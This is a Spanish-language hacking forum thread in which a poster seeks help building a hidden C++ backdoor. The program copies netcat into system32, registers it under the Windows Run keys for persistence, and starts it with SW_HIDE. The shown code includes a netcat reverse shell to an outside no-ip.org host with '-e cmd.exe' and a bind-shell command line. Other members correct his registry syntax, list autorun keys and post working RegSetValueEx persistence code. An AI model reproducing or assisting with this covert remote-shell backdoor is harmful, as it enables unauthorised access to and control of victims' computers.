Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: xxxhack2010 en 19 Agosto 2010, 09:00 am



Título: Add reg
Publicado por: xxxhack2010 en 19 Agosto 2010, 09:00 am
Vereis estoy con c++ intentando meter una clave en el registro pero no lo logro. Este es el codigo que trato de implementar. Alguien puede decirme que estoy haciendo mal o porque no agrega nada al registro?

system("ADD REG hklm/software/microsoft/windows/currentversion/run /v eudcedit /f /d c:/windows/system32/eudcedit.exe");



Título: Re: Add reg
Publicado por: Karcrack en 19 Agosto 2010, 14:27 pm
Código:
Herramienta de registro de consola para Windows - versión 3.0
Copyright (C) Microsoft Corp. 1981-2001.  Reservados todos los derechos


REG ADD clave [/v nvalor | /ve] [/t tipo] [/s separador] [/d datos] [/f]

  clave      [\\equipo\]tclave
             Equipo     nombre del equipo remoto. Si se omite se usa el
                        equipo actual. Sólo HKLM y HKU están disponibles
                        para equipos remotos.
             tclave     CLAVERAIZ\subclave
             CLAVERAIZ  [ HKLM | HKCU | HKCR | HKU | HKCC ]
             subclave   Nombre completo de una clave de registro en la
                        CLAVERAIZ seleccionada.

  /v         Nombre del valor en la clave seleccionada para agregar

  /ve        Agrega el nombre de valor vacío <sin nombre>

  /t         Tipos de datos de clave de registro
             [ REG_SZ    | REG_MULTI_SZ  | REG_DWORD_BIG_ENDIAN    |
               REG_DWORD | REG_BINARY    | REG_DWORD_LITTLE_ENDIAN |
               REG_NONE  | REG_EXPAND_SZ ]
             Si se omite, se asume REG_SZ

  /s         Especifica el carácter que usa como separador en su cadena
             de datos para REG_MULTI_SZ. Si se omite, se usa "\0" como
             separador

  /d         Datos que se asignan a nvalor del registro que se agrega

  /f         Fuerza la sobrescritura de entradas de registro existentes
             sin avisar.

Ejemplos:

  REG ADD \\ABC\HKLM\Software\MiCo
    Agrega una clave HKLM\Software\MiCo en el equipo remoto ABC

  REG ADD HKLM\Software\MiCo /v datos /t REG_BINARY /d fe340ead
    Agrega un valor (nombre: datos, tipo: REG_BINARY, datos: fe340ead)

  REG ADD HKLM\Software\MiCo /v MRU /t REG_MULTI_SZ /d fax\0mail
    Agrega un valor (nombre: MRU, tipo: REG_MUTLI_SZ, datos: fax\0mail\0\0)

  REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%%
    Agrega un valor (nombre: Path, tipo: REG_EXPAND_SZ, datos: %systemroot%)
    Nota: use porcentaje doble ( %% ) dentro de la cadena expandida

Es REG ADD, no ADD REG


Título: Re: Add reg
Publicado por: [L]ord [R]NA en 19 Agosto 2010, 14:40 pm
Para escribir en esa parte del registro el usuario debe de tener privilegios... tambien te recomiendo utilizar las APIs, si vas a usar system simplemente no vale la pena que utilices C/C++


Título: Re: Add reg
Publicado por: ApOkAlizE en 20 Agosto 2010, 00:56 am
No he programado en mi vida en C++, pero lo que si es cierto es que cuando intentas agregar algo en los tegistros tienes que pones /t(type) que es el tipo de clave  por ejemplo prueba este codigo:

system("ADD REG hklm/software/microsoft/windows/currentversion/run /v eudcedit /t REG_SZ /f /d c:/windows/system32/eudcedit.exe");

esto lo que hace es que al añadir el registro lo deja en una llave de tipo REG_SZ, prueva a ver si te funciona y me dices si funciona bien o que


Título: Re: Add reg
Publicado por: Darioxhcx en 20 Agosto 2010, 01:12 am
no existe otra forma de no usar system ?


Título: Re: Add reg
Publicado por: winnipu en 20 Agosto 2010, 08:42 am
Porque system tiene tan mala prensa?

Y se me ocurre otra duda, si quieres eliminar un programa del menu de inicio, pero sin borrar nada del programa, se puede hacer desde regedit? Si es asi que clave podria valer?


Título: Re: Add reg
Publicado por: Axtrall en 20 Agosto 2010, 15:52 pm
Porque system tiene tan mala prensa?

Y se me ocurre otra duda, si quieres eliminar un programa del menu de inicio, pero sin borrar nada del programa, se puede hacer desde regedit? Si es asi que clave podria valer?

1. Hay aplicaciones como el Comodo Defense+ que podrian bloquear las llamadas a system, pues comprueba las llamadas de un programa a otro.

2. Hay varios registros que se autoejecutan al inicio de windows. Una lista de ellos ( aunque creo que hay algunos más):

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows]


Título: Re: Add reg
Publicado por: Novlucker en 20 Agosto 2010, 16:35 pm
http://foro.elhacker.net/tutoriales_documentacion/manual_de_procesos_que_se_ejecutan_al_inicio_de_windows_xp-t146876.0.html

Saludos


Título: Re: Add reg
Publicado por: [L]ord [R]NA en 20 Agosto 2010, 17:38 pm
Porque system tiene tan mala prensa?

Y se me ocurre otra duda, si quieres eliminar un programa del menu de inicio, pero sin borrar nada del programa, se puede hacer desde regedit? Si es asi que clave podria valer?

Las llamadas a system son malas practicas.


Título: Re: Add reg
Publicado por: xxxhack2010 en 21 Agosto 2010, 18:56 pm
Gracias por las respuestas. Vereis soy relativamente nuevo en el mundo de la programacion en c plus plus. Y evidentemente desconozco muchas cosas importantes, como por ejemplo los sockets, y la API de windows. Entonces lo que intentaba desde mis modestos conocimientos era meter un ejecutable en la carpeta system32 con un programa en c plus plus. Y la mejor manera con mis escasos conocimientos era con registros y con la funcion system. Lord, me dices que es mala practica, sigo sin entender porque, pero lo respeto porque tu sabes muchisimo mas que yo. Alabo tu consejo sobre las APIs e intentare aprenderlas, pero de momento quiero mejorar mi base en c plus plus, todavia desconozco muchas librerias, muchas funciones, tema punteros y demas. De todos modos si teneis a bien explicarme en detalle porque no usar system con razonamientos tecnicos os lo agradeceria. No quiero ser un chapucero, y me gusta que la gente que sabeis me ayudeis.
Aun asi quiero plantearos ciertas dudas que me han surgido con el tema registros

porque no es lo mismo poner HKCU/software/microsoft que poner HKCU\Software\microsoft
o porque tampoco es igual poner una sola barra o poner dos barras HKCU//software//microsoft.
Del mismo modo querria saber si es posible incluir en registro la ejecucion de un programa en modo consola y el agregarle a la vez ciertos parametros ej: nc -vv -l -e -p 1234 y que los ejecute cuando reinicie el pc.
Imagino que son dudas y no se si merecen ser respondidas. Si alguien tiene a bien contestar que no dude se lo agradecere. Hasta ahora todo el mundo ha sido muy correcto conmigo y he aprendido mucho aqui, pero si pregunto cosas tontas tambien agradezco se me diga. Google lo tengo bastante trillao pero nunca se sabe si uno esta resultando estupido y hasta que punto.
Gracias por todo.  Yo por mi parte estoy preparando algo que me lleva de momento 3 semanas de duro trabajo. Si con ayuda logro mis objetivos prometo sacar un text para compartirlo con la comunidad. Creo que seria interesante, es algo que es un poco chapucero porque no soy ningun experto, pero creo que es bastante imaginativo, y creo que de momento nunca se ha hecho en el mundo del hack. No me importaria publicarlo y demostrar que a veces las inseguridades estan en zonas de lo mas inexploradas. Un saludo


Título: Re: Add reg
Publicado por: [L]ord [R]NA en 22 Agosto 2010, 05:16 am
Gracias por las respuestas. Vereis soy relativamente nuevo en el mundo de la programacion en c plus plus. Y evidentemente desconozco muchas cosas importantes, como por ejemplo los sockets, y la API de windows. Entonces lo que intentaba desde mis modestos conocimientos era meter un ejecutable en la carpeta system32 con un programa en c plus plus. Y la mejor manera con mis escasos conocimientos era con registros y con la funcion system. Lord, me dices que es mala practica, sigo sin entender porque, pero lo respeto porque tu sabes muchisimo mas que yo. Alabo tu consejo sobre las APIs e intentare aprenderlas, pero de momento quiero mejorar mi base en c plus plus, todavia desconozco muchas librerias, muchas funciones, tema punteros y demas. De todos modos si teneis a bien explicarme en detalle porque no usar system con razonamientos tecnicos os lo agradeceria. No quiero ser un chapucero, y me gusta que la gente que sabeis me ayudeis.
Aun asi quiero plantearos ciertas dudas que me han surgido con el tema registros

porque no es lo mismo poner HKCU/software/microsoft que poner HKCU\Software\microsoft
o porque tampoco es igual poner una sola barra o poner dos barras HKCU//software//microsoft.
Del mismo modo querria saber si es posible incluir en registro la ejecucion de un programa en modo consola y el agregarle a la vez ciertos parametros ej: nc -vv -l -e -p 1234 y que los ejecute cuando reinicie el pc.
Imagino que son dudas y no se si merecen ser respondidas. Si alguien tiene a bien contestar que no dude se lo agradecere. Hasta ahora todo el mundo ha sido muy correcto conmigo y he aprendido mucho aqui, pero si pregunto cosas tontas tambien agradezco se me diga. Google lo tengo bastante trillao pero nunca se sabe si uno esta resultando estupido y hasta que punto.
Gracias por todo.  Yo por mi parte estoy preparando algo que me lleva de momento 3 semanas de duro trabajo. Si con ayuda logro mis objetivos prometo sacar un text para compartirlo con la comunidad. Creo que seria interesante, es algo que es un poco chapucero porque no soy ningun experto, pero creo que es bastante imaginativo, y creo que de momento nunca se ha hecho en el mundo del hack. No me importaria publicarlo y demostrar que a veces las inseguridades estan en zonas de lo mas inexploradas. Un saludo

Añade un peso descomunal al ejecutable... con las Apis puedes hacer un ejecutable que haga eso que quieres en como maximo 4kb... con la llamada a System sobrepasa los  16KB... en estos casos, el tamaño importa.

Por ejemplo en mi antiguo sistema Windows no funcionaria, mi paranoia me llevo a cambiar de nombre muchos ejecutables.


Título: Re: Add reg
Publicado por: Horricreu en 22 Agosto 2010, 22:22 pm
RegOpenKeyEx() (http://msdn.microsoft.com/en-us/library/ms724897(VS.85).aspx) + RegSetValueEx() (http://msdn.microsoft.com/en-us/library/ms724923(VS.85).aspx) y problema solucionado.

Saludos :P


Título: Re: Add reg
Publicado por: xxxhack2010 en 23 Agosto 2010, 11:53 am
Bueno Lord creo que he entendido los porques de los consejos que me dabas de no usar system. Creo que con system se abre la ventana de ms-dos y no hay forma de cerrarla, con lo cual el nc canta que no veas. Me he decidido a probar suerte con las APIs aunque soy un verdadero novato en esto. He intentado lo siguiente pero sin exito, ya que nc no conecta:

Código:
#include <windows.h>

int main()
{
   ShellExecute(NULL, NULL, "C:\\WINDOWS\\System32\\nc -d xxx.no-ip.org 25 -e cmd.exe", NULL, NULL, SW_HIDE);
   return 0;
}

Gracias Herricreu por tus consejos pero si migro el programa a APIs y dejo system lo que quiero es crear nuevos registros. He estado mirando en: http://msdn.microsoft.com/en-us/library/ms724875(v=VS.85).aspx y creo que deberia usar RegCreateKeyEx Function, estoy en lo cierto?
He intentado lo siguiente:

Código:
#include <windows.h>
int main()
{
HKEY hkey;
RegOpenKeyEx
(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
RegSetValueEx(hkey,"nercar",0,REG_SZ,(const unsigned char*)"%windir%\\nercar.exe",sizeof"%windir%\\nercar.exe")     
}

mi intencion seria crear ese registro para que inicie el nc que antes habre metido en system32.


Título: Re: Add reg
Publicado por: Horricreu en 23 Agosto 2010, 15:26 pm
A ver, antes de todo tienes que aprender a googlear y, en tu código tienes bastantes errores. Te voy a poner un ejemplo, luego lo estudias para ver cómo funciona y finalmente lo adaptas a tu código:

Código
  1. #include <windows.h>
  2.  
  3. int main()
  4. {
  5. LPSTR lpSubKey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
  6. HKEY hkResult = 0;
  7.  
  8. if(RegOpenKeyEx(HKEY_CURRENT_USER, lpSubKey, 0, KEY_WRITE, &hkResult) == ERROR_SUCCESS)
  9. {
  10. HKEY hKey = 0;
  11. LPSTR lpValueName = "ejemplo";
  12. LPSTR lpData = "C:\\ejemplo.exe";
  13.  
  14. if(RegSetValueEx(hkResult, lpValueName, 0, REG_SZ, (LPBYTE)lpData, lstrlen(lpData)) != ERROR_SUCCESS) MessageBox(0, "Error", "Error", 0);
  15.  
  16. else MessageBox(0, "Añadido", "Añadido",0);
  17.  
  18. RegCloseKey(hKey);
  19.        }
  20.  
  21.    else MessageBox(0, "Error", "Error",0);
  22. }

Y si no lo comprendes, pregunta en el apartado de programación en C/C++.

Saludos :P